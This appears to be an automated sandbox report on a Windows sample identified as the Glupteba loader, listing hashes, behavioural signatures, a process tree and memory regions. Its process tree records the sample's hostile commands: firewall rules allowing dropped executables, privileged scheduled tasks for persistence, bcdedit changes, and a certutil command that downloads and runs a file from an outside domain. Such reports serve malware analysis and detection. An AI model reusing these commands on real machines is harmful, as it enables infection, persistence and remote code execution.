Analysis

  • max time kernel
    144s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-06-2024 13:16

General

  • Target

    a9dd5607f44c6b5553f522cecdc7ec08_JaffaCakes118.exe

  • Size

    3.8MB

  • MD5

    a9dd5607f44c6b5553f522cecdc7ec08

  • SHA1

    4549b10402f20f6c27461436e9ecf6c532dced7f

  • SHA256

    06c980f949509e4bcc09b65a9accfe872cd30af386799f0c74fd450f6f440240

  • SHA512

    fbce2577f146268954f0eb3bcd263f5f0a6304e9d4343545d07c0a39a4e429df952e452eb3dacb32deda17df74b103237a366eb4c9fc76e7309fee00f1eba63e

  • SSDEEP

    98304:yQvGLN+FnMx2FX1Wsnc6WudcSItiZrfHqWqXwU/P:yQvAsnLDnB1PIIZrPOXwU

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 19 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\a9dd5607f44c6b5553f522cecdc7ec08_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\a9dd5607f44c6b5553f522cecdc7ec08_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3496
    • C:\Users\Admin\AppData\Local\Temp\a9dd5607f44c6b5553f522cecdc7ec08_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\a9dd5607f44c6b5553f522cecdc7ec08_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1724
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2544
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:4784
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\52e681197eb9\52e681197eb9.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4932
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\52e681197eb9\52e681197eb9.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:3708
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4196
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:4924
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:4636
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:4268
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1628

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • C:\Windows\rss\csrss.exe

    Filesize

    3.8MB

    MD5

    a9dd5607f44c6b5553f522cecdc7ec08

    SHA1

    4549b10402f20f6c27461436e9ecf6c532dced7f

    SHA256

    06c980f949509e4bcc09b65a9accfe872cd30af386799f0c74fd450f6f440240

    SHA512

    fbce2577f146268954f0eb3bcd263f5f0a6304e9d4343545d07c0a39a4e429df952e452eb3dacb32deda17df74b103237a366eb4c9fc76e7309fee00f1eba63e

  • memory/1724-10-0x0000000000400000-0x0000000006370000-memory.dmp

    Filesize

    95.4MB

  • memory/3496-1-0x0000000008160000-0x0000000008510000-memory.dmp

    Filesize

    3.7MB

  • memory/3496-2-0x0000000008510000-0x0000000008C09000-memory.dmp

    Filesize

    7.0MB

  • memory/3496-3-0x0000000000400000-0x0000000000B14000-memory.dmp

    Filesize

    7.1MB

  • memory/3496-5-0x0000000000400000-0x0000000000B14000-memory.dmp

    Filesize

    7.1MB

  • memory/3496-4-0x0000000000400000-0x0000000006370000-memory.dmp

    Filesize

    95.4MB

  • memory/4196-18-0x0000000000400000-0x0000000006370000-memory.dmp

    Filesize

    95.4MB

  • memory/4196-23-0x0000000000400000-0x0000000006370000-memory.dmp

    Filesize

    95.4MB

  • memory/4196-16-0x0000000000400000-0x0000000006370000-memory.dmp

    Filesize

    95.4MB

  • memory/4196-19-0x0000000000400000-0x0000000006370000-memory.dmp

    Filesize

    95.4MB

  • memory/4196-20-0x0000000000400000-0x0000000006370000-memory.dmp

    Filesize

    95.4MB

  • memory/4196-21-0x0000000000400000-0x0000000006370000-memory.dmp

    Filesize

    95.4MB

  • memory/4196-22-0x0000000000400000-0x0000000006370000-memory.dmp

    Filesize

    95.4MB

  • memory/4196-17-0x0000000000400000-0x0000000006370000-memory.dmp

    Filesize

    95.4MB

  • memory/4196-24-0x0000000000400000-0x0000000006370000-memory.dmp

    Filesize

    95.4MB

  • memory/4196-25-0x0000000000400000-0x0000000006370000-memory.dmp

    Filesize

    95.4MB

  • memory/4196-26-0x0000000000400000-0x0000000006370000-memory.dmp

    Filesize

    95.4MB

  • memory/4196-27-0x0000000000400000-0x0000000006370000-memory.dmp

    Filesize

    95.4MB

  • memory/4196-28-0x0000000000400000-0x0000000006370000-memory.dmp

    Filesize

    95.4MB

  • memory/4196-29-0x0000000000400000-0x0000000006370000-memory.dmp

    Filesize

    95.4MB